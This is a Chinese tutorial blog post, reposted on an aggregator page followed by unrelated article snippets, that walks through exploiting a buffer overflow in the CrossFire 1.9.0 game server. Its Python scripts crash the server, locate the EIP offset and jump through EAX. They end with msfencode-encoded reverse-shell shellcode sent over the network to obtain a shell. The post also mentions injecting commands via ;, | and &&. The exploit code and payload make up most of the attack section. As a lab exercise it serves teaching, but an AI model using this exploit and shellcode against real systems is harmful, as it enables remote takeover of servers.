kali linux之edb--CrossFire缓冲区溢出

漏洞的罪恶根源------变量,数据与代码边界不清,开发人员对用户输入没做过滤,或者过滤不严

 

如这个脚本,写什么,显示什么,但是加上;,|,&&,后面加上系统命令,就执行命令了

 

 

 

缓冲区溢出:

当边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被撑爆,从而覆盖了相邻内存区域的数据,成功修改i内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果

 

如何发现漏洞?

源码审计(代码审计),逆向工程(动态调试),模糊测试------(向程序堆栈半随机的数据,根据内存变化判断溢出,数据生成器--生成随机,半随机数据,测试工具--识别溢出漏洞)

 

实例(没下载到CrossFire,而且我物理机也是2019版的kali,就借鉴一下这个老哥的:https://www.cnblogs.com/systemVITO/p/9246752.html)

CrossFire

多人在线RPG游戏

1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞 (服务端)

 

调试工具

edb

 

运行平台kali 2.0 x64虚拟机

Linux中内存保护机制

DEP

ASLR

堆栈 cookies

堆栈粉碎

 

创建/usr/games/目录,将crossfire1.9.0服务端解压到目录

运行./crossfire

 

开启调试

edb --run /usr/games/crossfire/bin/crossfire 

右下角是paused暂停状态

菜单栏 Debug => Run(F9) 点击两回可以运行起来

可以通过命令查看程序端口信息

 

查看开放端口

netstat -pantu | grep 13327

 

EIP中存放的是下一条指令的地址

这个程序和一般的溢出不同,它必须发送固定的数据量才可以发生溢出,而不是大于某个数据量都可以,我们构造如下python程序测试

#! /usr/bin/python
import socket   #导入模块
host = "127.0.0.1"  #主机
crash = "\x41" * 4379       ##要发送的crash字符为 \x41为十六进制的大写A
buffer = "\x11(setup sound " + crash + "\x90\x00#"   ##实际发送给服务器的数据 \x90是NULL,\x00是空字符
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #建立连接对象
print "[*]Sending evil buffer..."
s.connect((host,13327)) #和主机的13327建立连接
data = s.recv(1024)
print data
s.send(buffer) ##建立完成后发送buffer
s.close()
print "[*]Payload Sent!"

 

运行后,edb报错如下

意思是EIP(存放一下条执行命令的地址)已经被覆盖成上图黑体中的地址,而计算机找不到这个地址。这个地址正是由我们输入的A,说明EIP可控,存在溢出。

这里你也可以测试增加一个A或者减少一个A发送,会发现后边两个数值都不是A,都不可控,也就是说数据量只有为4379时EIP才完全可控

 

为了查看到底是哪个位置的A才是溢出后的EIP地址,借助工具生成唯一字符串

cd /usr/share/metasploit-framework/tools/exploit/

./pattern_create.rb -l 4379

复制下来,构造如下python脚本

#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = "唯一字符串"
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

开启edb启动程序,运行python程序

利用工具确认字符串的位置

cd /usr/share/metasploit-framework/tools/exploit/

./pattern_offset.rb -q 46367046

就是说EIP地址前面有4368个字符。   4369,4370,4371,4372的位置存放的是溢出后的EIP地址

 

我们构造如下python脚本验证

#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = 'A'*4368 + 'B'*4 + 'C'*7   ## 凑够4379个字符
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

 

可以看到EIP地址被精准的填充为B字符


 

右键ESP,选择 Follow In Dump 查看数据

 

因为必须是精确的字符才能溢出,就是说ESP寄存器只能存放7个字符,显然无法存放shellcode

几个寄存器都查看后,选择了EAX。因为EAX存放的是我们之前发送的几千个A,是可控的,且有足够的大小存放shellcode

 

思路就是让EIP存放EAX的地址,然后在地址上加12,直接从第一个A的位置开始执行。但是各个机器的EAX的地址也各不相同,不具有通用性,所以直接跳转的思路就放弃。

既然ESP可以存放7个字符,想到了跳转EAX并偏移12

 

#! /usr/bin/python
import socket
host = "127.0.0.1"
crash = 'A'*4368 + 'B'*4 + '\x83\xc0\x0c\xff\xe0\x90\x90'
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

首先EIP地址仍然是精准的四个B

 

 

 

ESP => Follow In Dump 查看

83 c0 0c ff e0 90 90 说明这里也完美写入

 

思路就是EIP => ESP => EAX,EAX存放shellcode,因为ESP地址不固定,需要借助固定的地址跳转

打开edb,菜单栏 Plugins => OpcodeSearcher => OpcodeSearch

选择crossfire程序,ESP -> EIP,选择一个jmp esp 的地址,这个地址是不会变的

菜单栏 plugin => breakpointmanager => breakpoints 选择add增加我们上边选择的地址的断点用来测试。

 

然后我们测试坏字符,经过测试坏字符是\x00\x0a\x0d\x20

生成shellcode并过滤坏字符

cd /usr/share/framework2/ ./msfpayload -l #可以生成的shellcode的种类

./msfpayload linux_ia32_reverse LHOST=127.0.0.1 LPORT=4444 R | ./msfencode -b "\x00\x0a\x0d\x20" 

 

 构建python脚本

 import socket
host = "127.0.0.1"
shellcode = (
"\xbb\x6d\x65\x9b\xcd\xdb\xdd\xd9\x74\x24\xf4\x5f\x2b\xc9"+
"\xb1\x14\x83\xc7\x04\x31\x5f\x10\x03\x5f\x10\x8f\x90\xaa"+
"\x16\xb8\xb8\x9e\xeb\x15\x55\x23\x65\x78\x19\x45\xb8\xfa"+
"\x01\xd4\x10\x92\xb7\xe8\x85\x3e\xd2\xf8\xf4\xee\xab\x18"+
"\x9c\x68\xf4\x17\xe1\xfd\x45\xac\x51\xf9\xf5\xca\x58\x81"+
"\xb5\xa2\x05\x4c\xb9\x50\x90\x24\x85\x0e\xee\x38\xb0\xd7"+
"\x08\x50\x6c\x07\x9a\xc8\x1a\x78\x3e\x61\xb5\x0f\x5d\x21"+
"\x1a\x99\x43\x71\x97\x54\x03")

crash = shellcode + "A"*(4368-105) + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"
buffer = "\x11(setup sound " +crash+ "\x90\x90#)"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host,13327))
data = s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent!"

 

监听本地的4444端口,即可获取一个shell

 

 

 

友情链接 http://www.cnblogs.com/klionsec

               http://www.cnblogs.com/l0cm

               http://www.cnblogs.com/Anonyaptxxx

               http://www.feiyusafe.cn

 

转载于:https://www.cnblogs.com/Hydraxx/p/10422848.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/264714.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SQL连接查询深度探险

测试环境:Windows XP ProfessionMySQL 5.0.45Oracle 9iDB2 UDB 9.1测试的SQL脚本如下:此脚本适合MySQL、DB2,如果要在Oracle上执行,需要做个替换BIGINTINTEGER、VARCHARVARCHAR2。CREATETABLECUSTOMERS (ID BIGINT NOTNULL,NAME V…

[Bug]Object reference not set to an instance of an object.

引言 今天在客户这儿,由一个问题导致,需求的变化,不得不修改代码,在记录日志中出现该问题。 原因 通过id查找相关信息,没有判断是否为null,集合是否有数据。 Object reference not set to an instance of a…

自锁时间电路plc_1篇文章,4幅图,了解PLC接线和控制图就是这么简单

有网友留言说看不懂plc梯形图,不知道如何将电气控制原理图转化为plc接线图,今天就系统的来看一下plc的原理和接线,再转化为plc接线图,我们需要借助一个最简单的单向过载保护的自锁控制电路。来看一下电路元器件,FR热机…

Python~字典快速上手

目录 Key的重要性 一 创建字典{} 二 字典用key查找 in(遍历)和[]用key查找 keyerror in和[]的效率对比 三 字典的插入/修改/删除(先查找) ​编辑 四 字典增删查改/遍历的效率 五 字典的遍历 for遍历可迭代对象拿到key 与创建顺序相同 keys/values/items方法 六 可…

sql 相关子查询

相关子查询3个执行步骤 1.外部查询获得一个记录,然后将该记录传递到内部查询. 2.内部查询根据传递的值执行. 3.内部查询将结果值传回外部查询,外部查询利用这些值完成处理过程.转载于:https://www.cnblogs.com/Spinoza/p/10426904.html

常用的一些javascript小技巧

常用的一些javascript小技巧 [作者:oror,from蓝色理想] 事件源对象 event.srcElement.tagName event.srcElement.type ……………………………… 捕获释放 event.srcElement.setCapture(); event.srcElement.releaseCapture();事件按键event.keyCode …

活动目录服务器(windows server 2008)

1、在服务器管理器中添加角色,勾选Active Directory域服务、DNS服务器进行安装2、安装好后运行dcpromo进入域服务安装向导,选择高级模式安装3、出现部署配置时,勾选新林中新建4、在命名林输入域名称(ganen5.local)5、在…

漫步者蓝牙只有一边有声音_漫步者DreamPods半个月上手体验:谈谈那些好的和不好的地方...

随着手机逐渐取消了耳机孔,越来越多的人们开始使用上了蓝牙耳机。在当今这个飞速发展的时代,蓝牙耳机蓝无疑成为了新时代的宠儿。无论是上班族还是当代大学生等年轻化群体,蓝牙耳机无疑成为了一个不错的喜好选择。但是面对市面上如此多的蓝牙…

MySQL源码包编译安装

标题:MySQL数据库实例部署时间:2019年5月2日内容:MySQL源码包进行编译,然后部署MySQL单实例1. MySQL源码包编译1.1 安装编译环境# yum install -y gcc gcc-c# yum install -y ncurses-devel.x86_64# yum install -y libaio.x86_64…

moss 部署问题

(一) 编辑PostBuildActions.bat 在编译过程中如果你把vs安装在D盘那么你必须将%programfiles%\Microsoft Visual Studio 8\SDK\v2.0\Bin替换成D:\Program Files\Microsoft Visual Studio 8\SDK\v2.0\Bin否则找不到gacutil.exe,无法编译成功。…

c++ 输出控制iomanip

2019独角兽企业重金招聘Python工程师标准>>> 1输出精度控制 #include<iostream> #include <iomanip>//精度控制相关头文件 using namespace std;int main(){streamsize preccout.precision(); //获取默认精度 cout<<"default precisi…

c++ 可视化界面_这些算法可视化网站助你轻松学算法

作者&#xff1a;守望&#xff0c;Linux应用开发者&#xff0c;目前在公众号【编程珠玑】 分享Linux/C/C/数据结构与算法/工具等原创技术文章和学习资源。前言无疑&#xff0c;数据结构与算法学习最大的难点之一就是如何在脑中形象化其抽象的逻辑步骤。而图像在很多时候能够大大…

c#中的接口的定議以及接口與抽象类的區別

c#中的接口 目录 接口的定义 接口与抽象类 接口的的实现 接口的的多态性 一&#xff0e;接口的定义 定义&#xff1a;定义一个协定。实现接口的类或结构必须遵守其协定。 简单的说就是接口或者类之间交互时遵守的一个显示定义。最初接触“类与类之间通过接口交互”这个概念时&…

2. with check option能起什么作用?_面部毛孔粗大,有什么拯救的方法吗?

很多妹子都有毛孔粗大的问题&#xff0c;却苦恼于怎么改善&#xff0c;用错方法可能会刺激毛孔&#xff0c;但是你知道毛孔粗大的原因吗&#xff1f;首先&#xff0c;先搞清楚自己是什么类型的毛孔粗大&#xff0c;再对症下药。 &#xfffc;皮脂分泌旺盛这是毛孔粗大最常见的原…

Apache Spark源码走读之4 -- DStream实时流数据处理

欢迎转载&#xff0c;转载请注明出处&#xff0c;徽沪一郎。 Spark Streaming能够对流数据进行近乎实时的速度进行数据处理。采用了不同于一般的流式数据处理模型&#xff0c;该模型使得Spark Streaming有非常高的处理速度&#xff0c;与storm相比拥有更高的吞能力。 本篇简要分…

[书目20071127]图书 时间陷阱 目录

[内容简介] 在这个快速多变和工作至上主义盛行的时代&#xff0c; 工作常常让我们迷失了自己的世界&#xff0c; 本书令人信服地告诉你&#xff0c;在销售领域不必玩命工作依然能取得巨大成功。 托德邓肯直击浪费我们时间、降低我们工作效能的“陷阱 ”要害&#xff0c; 同时&a…

antd-react-mobile(踩坑记录)

1.按照官网步骤进行&#xff0c; $ npm install -g create-react-app # 注意&#xff1a;工具会自动初始化一个脚手架并安装 React 项目的各种必要依赖&#xff0c;如果在过程中出现网络问题&#xff0c;请尝试配置代理或使用 其他 npm registry。 $ create-react-app my-app …

启动Eclipse 弹出“Failed to load the JNI shared library”错误的解决方法

原因1&#xff1a;eclipse的版本与jre或者jdk版本不一致 对策&#xff1a;要么两者都安装64位的&#xff0c;要么都安两个是32位一个是64位。 原因2&#xff1a;给定目录下jvm.dll不存在 对策&#xff1a;&#xff08;1&#xff09;重新安装jre或者jdk并配置好环境变量。&#…

路径的应用(3)

如果与MC2同级的还有一个影片剪辑MC3,则想修改MC3,的透明度&#xff0c;用如下方法&#xff1a;on(release){_parent.MC3._alpha0;}如果MC3下还有一个影片剪辑MC4&#xff0c;想修改MC4的透明度则用如下方法&#xff1a;on(release){_parent.MC3.MC4._alpha0;}转载于:https://w…

php.ini在哪里 微赞_虚拟主机php.ini在哪?怎么查看php.ini在哪

虚拟主机php.ini在哪&#xff1f;怎么查看php.ini在哪&#xff1f;相信很多人都会有这样的疑问&#xff0c;下面聚名网为你详解一下以上问题。虚拟主机php.ini在哪&#xff1f;虚拟主机php.ini文件一般放置在文件管理器的“others”文件夹中。php.ini文件控制了PHP很多方面的性…